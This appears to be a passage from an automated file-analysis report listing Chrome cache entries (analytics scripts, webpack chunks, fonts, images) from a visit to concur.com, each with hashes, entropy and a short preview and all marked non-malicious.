Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],{"+/Je":function(e,t,n){"use strict";n.d(t,"a",function(){return r}),n.d(t,"b",function(){return a});var r=-1,a="PRE-RENDER"},"+Kbs":function(e,t,n){"use strict";var r=n("YWhp"),a=n("S0ig"),o=n("ERkP"),i=n.n(o),c=function Attachment(e){var t=e.fill,n=void 0===t?a.a.composerIconColor:t,o=e.height,c=void 0===o?16:o,s=e.width,u=void 0===s?18:s;return i.a.createElement(r.a,{className:"drift-default-icon drift-default-icon--back-arrow",width:u,height:c,viewBox:"0 0 16 18"},i.a.createElement("path",{fill:n,fillRule:"evenodd",d:"M8.078 16a.71.71 0 0 1-.513-.222.784.784 0 0 1 0-1.075l7.53-7.879c.562-.587.871-1.368.871-2.199 0-.83-.31-1.611-.87-2.197a2.883 2.883 0 0 0-4.204 0l-8.735 9.139c-.493.516-.73 1.012-.703 1.476.026.452.298.801.46.968.27.284.563.402.892.358.413-.054.888-.35 1.375-.86l6.854-7.172a.703.703 0 0 1 1.026 0 .784.784 0 0 1 0 1.074l-6.853 7.172c-.728.761-1.475 1.196-2.222 1.293-.783.102-1.509-.172-2.1-.79-.528-.553-.841-1.2

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25416)
Category:	dropped
Size (bytes):	91708
Entropy (8bit):	5.45310274640795
Encrypted:	false
SSDEEP:	1536:2R/1lMVdgF/YJ1SNMUZHXkz8RbLOcom5qfyllgGI2SDrn:2p1lMZ1O9Rb67RdDrn
MD5:	08723B8F2D35F6A9D55C91868EAD5B87
SHA1:	86E8EE4DB97A05144113818AEB5F3C96BBAB2A0C
SHA-256:	C9D6219D648E2CF37D7646D748317E200230F592394157ED30199C7A0967F9B4
SHA-512:	3E50296E2084A9A215E611FD9FF40A17B558B923B922347FED708FF6AFF27CD671714DFBDA9B45245C5F3D3EC64AD65B1D6B927C18ED8C6A82CBD64D0D7A2BAD
Malicious:	false
Preview:	//tealium universal tag - utag.1169 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..var s=s_gi("concur-all-dev");s.account="concur-all-dev";s.trackDownloadLinks=true;s.trackExternalLinks=true;s.trackInlineStats=true;s.linkInternalFilters="javascript:,concur.com";s.linkLeaveQueryString=false;s.linkTrackVars="None";s.linkTrackEvents="None";s.usePlugins=false;s.currencyCode="USD";s.visitorNamespace="concurtechnologies";s.trackingServer="concurtechnologies.sc.omtrdc.net";s.trackingServerSecure="concurtechnologies.sc.omtrdc.net";s.charSet="UTF-8";s.expectSupplementalData=true;s.debugTracking=(utag.cfg)?utag.cfg.utagdb:false;if("3F8B2B31536CFF310A490D4C@AdobeOrg"){if(!window.utag_sync_loaded){window.visitor=Visitor.getInstance("3F8B2B31536CFF310A490D4C@AdobeOrg");window.visitor.trackingServer=s.trackingServer;window.visitor.trackingServerSecure=s.trackingServerSecure;}.s.visitor=Visitor.getInstance("3F8B2B31536CFF310A490D4C@AdobeOrg");}.function AppMeasurement(r){var

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17065), with no line terminators
Category:	dropped
Size (bytes):	17065
Entropy (8bit):	5.1089101567430735
Encrypted:	false
SSDEEP:	384:FtDuCrl6xOIVoCM6qbSjbCMTYozln0/s4MXcK/qtQCZ69CmC4yVs:FtDuCrl6x1OCM1SjbCMTYoz10/s4mcKF
MD5:	E28EBC3391B56E8F01EA063DC089E9D3
SHA1:	D0EB0EDDB70199DB3533F492E7F2E22BE890A1FA
SHA-256:	AFBD41E7209FA3AEF6F53C7A5713AA542A7BE54C432FEC2D690E0DFACCD528D1
SHA-512:	A2ED47575F06F20F3C53845F527E5CEF910A85AAB2CC8F07EFD761239C2255920A154CDF432E170207BE23841458D22BFA96C47CD4ECA590BC71A948B8F98F46
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[19],{"1J7a":function(t,e){t.exports=function _arrayWithHoles(t){if(Array.isArray(t))return t}},"2jbg":function(t,e,r){"use strict";function _setPrototypeOf(t,e){return(_setPrototypeOf=Object.setPrototypeOf\|\|function _setPrototypeOf(t,e){return t.__proto__=e,t})(t,e)}r.d(e,"a",function(){return _setPrototypeOf})},"4+fu":function(t,e,r){"use strict";function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}r.d(e,"a",function(){return _assertThisInitialized})},"5aO3":function(t,e,r){"use strict";function _arrayLikeToArray(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(var r=0,n=new Array(e);r<e;r++)n[r]=t[r];return n}r.d(e,"a",function(){return _arrayLikeToArray})},"7Ru6":function(t,e){t.exports=function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [S

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45175), with no line terminators
Category:	downloaded
Size (bytes):	45175
Entropy (8bit):	4.971484746653167
Encrypted:	false
SSDEEP:	768:J0pHSw4JWZdsTvfjsdPlyYVMSxOc9EHV5d2VLuqaUnkdaiK1At:ul4oMSxOdVunkdaet
MD5:	C9D0EE59DCDA9217DF67A0E0765E0C83
SHA1:	3EC376D537674EAF80A2CCC26BE13FA1A2E1F5B8
SHA-256:	A523E4A18204F52D5204953B60E19C3D888C95C0574575623A4276F1086D0883
SHA-512:	69241C0302EB2EC83E9E66678EE236356A672A1F05300755E87D464A48245C05CF38691BCEFA64E9B0F631E21BE831E88CA57947E54FC0D2A35535DBA1DA1DD0
Malicious:	false
URL:	https://js.driftt.com/core/assets/css/1.fdc718c4.chunk.css
Preview:	.drift-widget-naked-button.drift-widget-emoji-back-button{background:#fff;height:32px;width:32px;padding-top:4px;position:absolute;left:16px;top:-100000px;z-index:2}.drift-widget-composer-emoji-picker{position:absolute;bottom:58px;right:0;height:auto;max-height:114px;left:-16px;width:-webkit-calc(100% + 32px);width:-moz-calc(100% + 32px);width:calc(100% + 32px);opacity:0;visibility:hidden;overflow:hidden;-webkit-transition:opacity .2s ease;-o-transition:opacity .2s ease;-moz-transition:opacity .2s ease;transition:opacity .2s ease;border-bottom:1px solid #eff3f5}.drift-widget-composer-emoji-picker>.emoji-mart{width:100%!important;padding-top:8px;-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0;border-color:#eff3f5;border-bottom:none;border-left:none;border-right:none}.drift-widget-composer-emoji-picker .emoji-mart-search input{appearance:searchfield;-moz-appearance:searchfield;-webkit-appearance:searchfield;-webkit-box-sizing:border-box;-moz-box

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	11648
Entropy (8bit):	7.89654722793625
Encrypted:	false
SSDEEP:	192:ALtAMd4ui046tYBXb3g1PRP7fjm0GyOurCDH5eGXvIxnoTHT6rQ:IuuiB6tyipPTjhGyOuGDH5/XAF6z6
MD5:	5E5A822ACED12E73AAB17C0C24FE87FA
SHA1:	DE9834B7C4C49E6E9BD867F3EAD5B40B777F6A1F
SHA-256:	64B13E10D151149E66FC0838ED12A21F48F3C8AD683B1F5946DC0881B6C1F072
SHA-512:	AA2C09B3DD363AFFDB6DE15DCB0CB187C4E4A7B8AECBF480A67A3DFA780410880C0185000BDAC99D25486F5B1A18DF4A04F7F8D59763D5D9D6A76B0CC1292F2C
Malicious:	false
URL:	https://www.concur.com/sites/default/files/bic_logo.png
Preview:	RIFFx-..WEBPVP8X.... .........ICCP........lcms....mntrRGB XYZ .........).9acspAPPL...................................-lcms................................................desc.......^cprt...\....wtpt...h....bkpt...\|....rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........c2..................................................................................text....FB..XYZ ...............-XYZ ...........3....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............c...k...?.Q.4!.).2.;.F.Qw].kpz....\|.i.}...0..VP8 F+..0........>.X.N.%$"#2....en.s.._d..7...4.o..........A.E.'c.!.W._...\|..W.....?.....H..P....>._.}A.s.........+.C.?...'.O.>..............ot..<...(+..O.s......?........1....s.1.o....~.......N.~....$0x.Z....-..j[......o.+R..V....Kx.Z....-..j[......o.+R..V....Kx.Z....-..j[......o.+R..V....Kx.Z....-..j[......o.+R..V....Kx.Z....-..j[......o.+R..V....Kx.Z....-..j[......o.+R..V....Kx.Z....-..j[......o.+R.Lf........'.j..."&

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47358), with no line terminators
Category:	dropped
Size (bytes):	47358
Entropy (8bit):	5.255490031239481
Encrypted:	false
SSDEEP:	768:QHLc09BEYZldc0ydPmDLy9IlyaJkhtgcHB5qEeaLE0P8lBSAfZ:QHLcvccq0NBEh
MD5:	2D79B64B95D2AA829A460E0D02CCA148
SHA1:	112031F4E0EB04F10227A437E3A52570C5348680
SHA-256:	257CBDCB36FEB3EF9BC1C5BDB9C777AF5AE08F0834ECE8A4CE5D74FBFEB7EA0D
SHA-512:	C114D93BFEDDA3536658D0E4BBE3D3AC4F8B30AE8E9259CA29A5517E79E0140ED93BDE608C17F04107E6E3B64E9780394D214E665C057652F4631F1112698CF1
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[3],{"/mDG":function(e,t,r){var n=r("VBlB");e.exports=function toSpaceCase(e){return n(e).replace(/[\W_]+(.\|$)/g,function(e,t){return t?" "+t:""}).trim()}},"/vf7":function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e};t.renderViewDefault=function renderViewDefault(e){return o.default.createElement("div",e)},t.renderTrackHorizontalDefault=function renderTrackHorizontalDefault(e){var t=e.style,r=_objectWithoutProperties(e,["style"]),i=n({},t,{right:2,bottom:2,left:2,borderRadius:3});return o.default.createElement("div",n({style:i},r))},t.renderTrackVerticalDefault=function renderTrackVerticalDefault(e){var t=e.style,r=_objectWithoutProperties(e,["style"]),i=n({},t,{right:2,bottom:2,top:2,borderRadius:3});return o.default.createElement("div",n({style

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	156
Entropy (8bit):	4.64451995216044
Encrypted:	false
SSDEEP:	3:YTyLSMRp2MmMf88seBAQZDAdA7EH+Dd82KYM2ZD9DXggre4:YWLS/d9ermdAg+Z9Ddbggp
MD5:	2984A72CFCF5403C1D8964CC72E5C9FE
SHA1:	84DE50B4779A7766015CABBCE5AFC9B60B77E03D
SHA-256:	5E33C6B798F598D80E98BE4F074D839DB46D853F6CBAD72FDD0C6DD2F48DE083
SHA-512:	E1B02F8EA1743654FDE46C3566F1EDA7427C397730B9CED2551AE232D7AEDAE3BB389B38B1B22B0D63A25D141C4ACCA2414D5F8942E99DDF1AD17DDA72543F9B
Malicious:	false
Preview:	{"version":"11.5.286","sites_sampling":"%8&4!}%\|%]!}$<$3$4$;$6$;$5$,!}&%%?&$%^!}$<!}%[&&&%%[&-&$.%[&&&$!}$,!}&%^%[&&&%]%\|&%%`%=&%?&,%\|&&!}$<$3$2$3&6%;"}

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 43572, version 1.0
Category:	downloaded
Size (bytes):	43572
Entropy (8bit):	7.991846190596049
Encrypted:	true
SSDEEP:	768:9aVzVymSbSDcPi1iyD9m9ySj+H2fmwsTtxNXfmQZKQ6srdeujlLANRWOvClvztaO:KVyW6i1iyD9Epj+umwsxmir6soCKvXvY
MD5:	B683029BAFE0305AC2234038A03E1541
SHA1:	12F8C193902E99348493ACE32E498031BF79B654
SHA-256:	18E6B5FF511B90EDF098E62AC45ED9D6673A3EEE10165D0DE4164D4D02A3A77F
SHA-512:	44823904027DD2E901429BFF1672132600AE6895486EBCFD3B97A5315635104BB1D555F614DC5FDCA9645B01C65056D2D55842351B1324290C163A2451307E46
Malicious:	false
URL:	https://www.concur.com/sites/all/themes/concur7/css/font-awesome/font/fontawesome-webfont.woff?v=3.2.1
Preview:	wOFF.......4......4.........................FFTM...D........epa.GDEF...`....... ....OS/2.......>...`..z.cmap....... ...j.5..gasp................glyf............2..head.......1...6.\."hhea...........$....hmtx................loca............q...maxp........... ....name.......f....<.e.post...0........2...webf...,.........RQ..........=.......T.0......<.x.c`d``..b...`b`d`dl..,`........x.c`f}.8............B3.3D..8AAeQ1....W.6..@>...2.bDR......R....x...J.Q...n~. {...(.f.@}....ZR.X..H...!.e..$.6AD.tV...$Y.,.L...n\..l...s.....!...FrR.(...T....D)..6.P.......~.../..6.....h......}.c,.8..E."5iHkH.D.....G_x.F.%....&...).q.....W6.$e.........3.f.l.....?.z]7....gy..x..x..9..+&m.X.....G.I?.....)..O..".......M........H.....2tn........x...\|T..0~.s..;..Y..d2.d.$d..Y............ ..(.....j...]..j..jW}mkW...m..^...?[!s.....$$.}....{.}=..s.s......x...N.l....!.....v2.]....q.8.....3................H(.Oe.!....H.:. =.R..r.x.7..O..on.6z..1*..`t......s....`.cub.......J.$.C..^.8..

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65441), with CRLF line terminators
Category:	dropped
Size (bytes):	65577
Entropy (8bit):	5.353937566241126
Encrypted:	false
SSDEEP:	768:ezDY9eR7s83Hw4oUnaOGE477KKIY0MnZez7T7nM1En0wEJPddhMHKvOWISQS31F:0DDFs83Hw48ZO7T7nwEYFRQSFF
MD5:	70187A383ADB805DD9FA0F16588B48C8
SHA1:	E1ED844DB90FC16308EAB60276BD9679784D9F01
SHA-256:	30ADBC7E799238C336B56A1E20DB67910F2A114FC3BC6CED6C550B4C873318AA
SHA-512:	C860317CE2F70CF96C9A93F36C7FB608217601CC6E63B45A9F2E9571FDB7C6AA286AF566AE532F23AA054B1D83DAD6097BF5435CF6B8C9C2CAFE750273050B87
Malicious:	false
Preview:	/* clarity-js v0.7.47: https://github.com/microsoft/clarity (License: MIT) */..!function(){"use strict";var t=Object.freeze({__proto__:null,get queue(){return sr},get start(){return cr},get stop(){return lr},get track(){return ar}}),e=Object.freeze({__proto__:null,get clone(){return Cr},get compute(){return Dr},get data(){return Er},get keys(){return Or},get reset(){return jr},get start(){return _r},get stop(){return Rr},get trigger(){return Ir},get update(){return Ar}}),n=Object.freeze({__proto__:null,get check(){return Xr},get compute(){return qr},get data(){return Sr},get start(){return Wr},get stop(){return Ur},get trigger(){return Yr}}),a=Object.freeze({__proto__:null,get compute(){return Kr},get data(){return Fr},get log(){return Gr},get reset(){return Zr},get start(){return Br},get stop(){return Jr},get updates(){return Vr}}),r=Object.freeze({__proto__:null,get callbacks(){return $r},get clear(){return ui},get consent(){return oi},get data(){return Qr},get electron(){return ti},

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52883), with no line terminators
Category:	dropped
Size (bytes):	52883
Entropy (8bit):	5.332794162022208
Encrypted:	false
SSDEEP:	768:wzl2reezYoNbiPmdUJcBtIpGTaY/FcAcbcVv3LaTLYqj6cw6uIUv84d3l+nabdYB:XaPrGdxqkJGabI
MD5:	3F1753E040495166EB7EB90393A77DD6
SHA1:	4B8EF97D964931B41047BE7183D3E4CB18299757
SHA-256:	889BD5220FFB43B2125727341E8BA840821CDC67E333DA0C7CC405973005DF28
SHA-512:	839E1288EE1B10E78D73EBB9E260A5236F610F9284E0711BFFB73EFE01BA4DC68CE12BA91E2B671F11213F52CA46380BF2C749E557AADC6DBA7DDE113366BB4F
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[24],{"+f1A":function(e,t,n){"use strict";n.d(t,"q",function(){return s}),n.d(t,"w",function(){return d}),n.d(t,"m",function(){return l}),n.d(t,"b",function(){return f}),n.d(t,"a",function(){return b}),n.d(t,"t",function(){return O}),n.d(t,"u",function(){return p}),n.d(t,"r",function(){return v}),n.d(t,"k",function(){return E}),n.d(t,"s",function(){return g}),n.d(t,"e",function(){return j}),n.d(t,"g",function(){return _}),n.d(t,"h",function(){return I}),n.d(t,"f",function(){return C}),n.d(t,"l",function(){return h}),n.d(t,"p",function(){return m}),n.d(t,"c",function(){return T}),n.d(t,"v",function(){return y}),n.d(t,"o",function(){return S}),n.d(t,"i",function(){return R}),n.d(t,"j",function(){return A}),n.d(t,"n",function(){return N}),n.d(t,"d",function(){return x});var r=n("mj2O"),a=n.n(r),c=n("7SM1"),i=n("QtlZ"),o=n("NFvl"),u=n("LVcX"),s=function getSession(){if(!i.a\|\|!i.a.getState)return{};var e=Object(i.b)().session;return void 0

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.284387163173681
Encrypted:	false
SSDEEP:	3:YgHKXHfxVJ8D/RNXlK00puFBAvqI24n:YgqXHfx78tN1usBl4n
MD5:	8E5353FE7BAA916E5916B0A1BDCE009B
SHA1:	BA8D3992CFA1CBFF34136C32E52704DFEADFE4CF
SHA-256:	191C90E801EDA262D5D782185A06B18569D22FA74974B8E907900F3A32543FF9
SHA-512:	03DDA34D12B0FF5C8F471E0C007E0B52EA9C4F8B8234A431F70F68CFD222F3F4A14899B256E4FED5A419AB010CA5BF4BE108C70BFC22FE422F3A52DB97E98AE4
Malicious:	false
Preview:	{"Error":true,"Message":"This zone has been deactivated"}

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	4.64451995216044
Encrypted:	false
SSDEEP:	3:YTyLSMRp2MmMf88seBAQZDAdA7EH+Dd82KYM2ZD9DXggre4:YWLS/d9ermdAg+Z9Ddbggp
MD5:	2984A72CFCF5403C1D8964CC72E5C9FE
SHA1:	84DE50B4779A7766015CABBCE5AFC9B60B77E03D
SHA-256:	5E33C6B798F598D80E98BE4F074D839DB46D853F6CBAD72FDD0C6DD2F48DE083
SHA-512:	E1B02F8EA1743654FDE46C3566F1EDA7427C397730B9CED2551AE232D7AEDAE3BB389B38B1B22B0D63A25D141C4ACCA2414D5F8942E99DDF1AD17DDA72543F9B
Malicious:	false
URL:	https://script.crazyegg.com/pages/data-scripts/0057/6939/sampling/www.concur.com.json?t=1
Preview:	{"version":"11.5.286","sites_sampling":"%8&4!}%\|%]!}$<$3$4$;$6$;$5$,!}&%%?&$%^!}$<!}%[&&&%%[&-&$.%[&&&$!}$,!}&%^%[&&&%]%\|&%%`%=&%?&,%\|&&!}$<$3$2$3&6%;"}

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.366091329119193
Encrypted:	false
SSDEEP:	3:a2yb1tMn:aN1tM
MD5:	D06F04FCCF68D0B228A5923187CE1AFD
SHA1:	5DE9DF9FDD66A91EED06E31981553D4AB9CCF490
SHA-256:	830E67BDA2532CD5880EE86E3B33E69721082F8458BB0DF0CD4EDBB1577FD375
SHA-512:	9888104E0C9311D58B52A9B7030725C8BDFBE54F581246E4DDE0366F046671B3CE6838D09DDB4A384C6145248D4AB46D16BAE8E92F943488E2888982D6DB0D3A
Malicious:	false
Preview:	{ "status": "ok" }.

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	940
Entropy (8bit):	7.709568742329199
Encrypted:	false
SSDEEP:	24:YreUGTYLWdQg/ZwoQV1vSSCMWlFaf1Q60tWV+b8YZBuen:YrnGs2QMZwoQnVCMIL60tdZZUQ
MD5:	F95275004793C48ECA300C918EBAD415
SHA1:	C726FF31751C4859591DB9E129FF83520C5C73CB
SHA-256:	047DC7BDE68495483BBD345923DE58A0D889EDE1DFDB1974C5D96225EE7FEA0C
SHA-512:	324D073243DFD37CCFCEA20B3A0242B2B182070DD69749882914C938CA1FB679CCDD640402EE55B005B7CD7A43BF67F3689BF25AA644D08D51F9E3C930B6E511
Malicious:	false
URL:	https://www.concur.com/sites/default/files/expense_pictogram_0.png
Preview:	RIFF....WEBPVP8X........w..w..ALPH#.......i;;.m.m.l.m...l..m&..l\..{N.... .....:.U.W..q.~X.:.T.....I..SR;wIr.n]..$...EQ.%j.r[....rT-...U.jg6N...M.....[.8sk=..Z....\...v6.......\..3.f...y.....i.3.S.3?...V.:K;mw.p..]....k..#.9sDY..S.3.1...v5g...5..l.lvz?.b....v.=.e.....u..lV..?.UC..nU7..JV......].n.n....x.5k..R..w ..Y.8.kM...\...sp.g..\|.....K..`.../!....gx._k..e.7.z.M..&.....!8.H.`....."..."....E..vY..._S...,"w.=e%`......."r..2....n..%....&H..S.. .[.....x.."a...@@8l.......b\.D.3A.......K..$.F1?..[.+.....0_.o.2......(.......c.f..s.f.M..f.+...bw.N5~U..VP8 Z........x.x.>.h.P(."....P..en.s...gk..a..t....x.......[`..y?..O..C.l23..0.Jx.sR7*....(..<]CMb..S............z.k?....0.....D.w...dGM...g..'.q:.Or..0B..."q.%.V[.zX.q/U2.\....G.A+.O.-._.%.\|.......SMek"h_.0...=z.R..6....\..w.W...k.....F7.y^n.WT.<4....V.F3.G....Lu...{..'...}...... ._...H?l.F../.1....&g.yJ.E..y..5)ab..q5]B.....'......F.5@....

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5656
Entropy (8bit):	7.937297957647036
Encrypted:	false
SSDEEP:	96:OyejSGFCkgwqIpJdHXUyoioNlxl7/AgnFELA2Hfo74xZ/9DUrHUPL6HDVYrC:OyeJFCBwqIpfUTl/nFef8i7UPVEC
MD5:	33EB3C180FDFEB36F2DA7C5C92DB4C9E
SHA1:	2B5686E4D28C71C7154268AEFEF594047A45484D
SHA-256:	0E4F026574F5185E53EFD34B69476E27ED5C7D72A8AAA554C9BAF72A7E3DAFC0
SHA-512:	B22B19F0706A10A99E11AF61F17AF3B7B01971949842ABDB35799CF6EA200C37363210439AD39CFBE9D9776671E5616F614BFD9EA5F2397768EDD95004BF50F2
Malicious:	false
Preview:	.PNG........IHDR...x...x.....9d6.....orNT..w.....IDATx...XTU...............T..F. .".B.(..".... .."...2......VZ..in...o...b.6.z.M..sf..e........\|..s........\0.....ID.....&r&...X.V.\.."z.....FT@4F.l..^.Xmr.......x.(...(..#.sF..M.:.}.B..h...D..............8..{.M..i......h.s.8....c...p.Ej9G.9~..B.lZ..F#.sl3'.....6M.Nt..y...s...`.wX.7..8.......o.X....;....+.....c..4.....l.'.`.6.x.ba.q..l.w.`...>...{(.6....D......)...l...^..FX1...h/.b.p.2...9.WA..5:!?.h..h?w...mP.g[..9.,Z._d.>........ol...{.h.....z..\.F..G4.9.....X..<#..r.0....X...?...7.cG4..X...u[..x..j.6PCK..9.....('\|...f.].q._...2-...._k@.........z....'<PK.tN]k.._....i..%.`.._?..&......UK. ..g...6[W7......2.....q.......s...gB.>t........I@..E>.]q.t..l.7...>..>.w.{......9N..!...s6._P.>.....m..s.p.....Y#.....d.....'...p.&...j.sk.L.......~..v..../vD.......@...5Z..`[..?......u...5...-...L.7j..B...6`j...u.......\s...2....>.......j.....M.0.C.....f.K...p...U...\..b...?.w.'.n..*.n..8.N.~....G....

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	75961
Entropy (8bit):	5.284364477342943
Encrypted:	false
SSDEEP:	768:QsOblXdRFlP6SupyNG6jtspnJWuUTzHUBDnBIuqoci+4cW/mK5NtUO6PnUZHBO8n:QDvFlP6Supyqpcu23O/ziSO87QRi8k
MD5:	6D77A76055D81227033363AF2F18CAF8
SHA1:	B1B94517954F8F8889A0822886DEA6F5AD7C931F
SHA-256:	19473EEBFB0672867A4438E2A015DE79FDED34B9F5AE5598BADE57EB01CF0563
SHA-512:	8E576150D0CB1FCB21DA5EC65C73EE2CB2E48A5F762C3926243471CAE4D0334F4D5B464A08C189A223E8E56D47C28323EFA4A053405D06BF35776C5154762FC7
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/20.8c21ea18.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[20],{"11Hm":function(e,t,n){"use strict";function _extends(){return(_extends=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}).apply(this,arguments)}var o=n("QS52"),r=(n("c58o"),n("h7FZ"));function addLeadingSlash(e){return"/"===e.charAt(0)?e:"/"+e}function stripBasename(e,t){return function hasBasename(e,t){return new RegExp("^"+t+"(\\/\|\\?\|#\|$)","i").test(e)}(e,t)?e.substr(t.length):e}function stripTrailingSlash(e){return"/"===e.charAt(e.length-1)?e.slice(0,-1):e}function createPath(e){var t=e.pathname,n=e.search,o=e.hash,r=t\|\|"/";return n&&"?"!==n&&(r+="?"===n.charAt(0)?n:"?"+n),o&&"#"!==o&&(r+="#"===o.charAt(0)?o:"#"+o),r}function createLocation(e,t,n,r){var i;"string"===typeof e?(i=function parsePath(e){var t=e\|\|"/",n="",o="",r=t.indexOf("#");-1!==r&&(o=t.substr(r),t=t.substr(0,r));var i=t.indexOf("?");return-1!==i&&(

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	585
Entropy (8bit):	4.513009715500162
Encrypted:	false
SSDEEP:	12:trrtfGMuCXspRbdI863QXXrEvxgeAaOOCCQG2:tHtuMuEkRbm863eEeUCCQz
MD5:	99938F0FEA26267BD19642BEFD6BB854
SHA1:	20F86CAA4A05E3024C7AB65ACC4EB51B7B591019
SHA-256:	0E256F10BE02F4980A68039DFDD6F9EF9D27C8B9ECC9A9865A66B8143056CD98
SHA-512:	0BA5F9BBF587BA8AC53511E63C65658082CEFF37480E700F8AFF5513A94C49584EC9461993B1E7907E860027059491BB53E3FBA6272FCB38A65B841FF23C258E
Malicious:	false
URL:	https://assets.concur.com/ab/dsn-784/images/fa--arrow.svg
Preview:	<svg width="27" height="64" viewBox="0 0 27 64" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M18.2227 24.4844L17.7539 24.8945C17.5195 25.1875 17.5195 25.5977 17.7539 25.8906L22.6758 30.7539H0.703125C0.292969 30.7539 0 31.1055 0 31.457V32.043C0 32.4531 0.292969 32.7461 0.703125 32.7461H22.6758L17.7539 37.668C17.5195 37.9609 17.5195 38.3711 17.7539 38.6641L18.2227 39.0742C18.457 39.3672 18.9258 39.3672 19.2188 39.0742L26.0156 32.2773C26.3086 31.9844 26.3086 31.5742 26.0156 31.2812L19.2188 24.4844C18.9258 24.1914 18.457 24.1914 18.2227 24.4844Z" fill="#F0AB00"/>.</svg>.

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
URL:	https://match.adsrvr.org/track/cmf/rubicon?gdpr=0
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (31999)
Category:	downloaded
Size (bytes):	170791
Entropy (8bit):	5.323803001385047
Encrypted:	false
SSDEEP:	1536:KM9r5zCrOgD8VVw2QjuLoJjFiCzN0ZjHIdtUxeHiguCP9DrFJokgXTmmmtWBIz6:KozCrOgD8kdeoRlujHIsCPCPDVX
MD5:	4A4938432122C79F90952A54A415CB0D
SHA1:	2A681D0F6372CBDA1F48510947762F11483CC96F
SHA-256:	D12C317FD10CF60035CF5F3F493B094973A653CBD5384F7E8C95D76981F388CE
SHA-512:	692CD61F198D9D00D36D53FA7A239C53B7912A078CB1C45FA9A1155AE515084BBA9C16C7D5B73B2FF7B6E72B8FF8DCF71715385986FFBD31F9C88438FBC1D795
Malicious:	false
URL:	https://www.concur.com/sites/default/files/js/js_0Swxf9EM9gA1z18_STsJSXOmU8vVOE9-jJXXaYHziM4.js
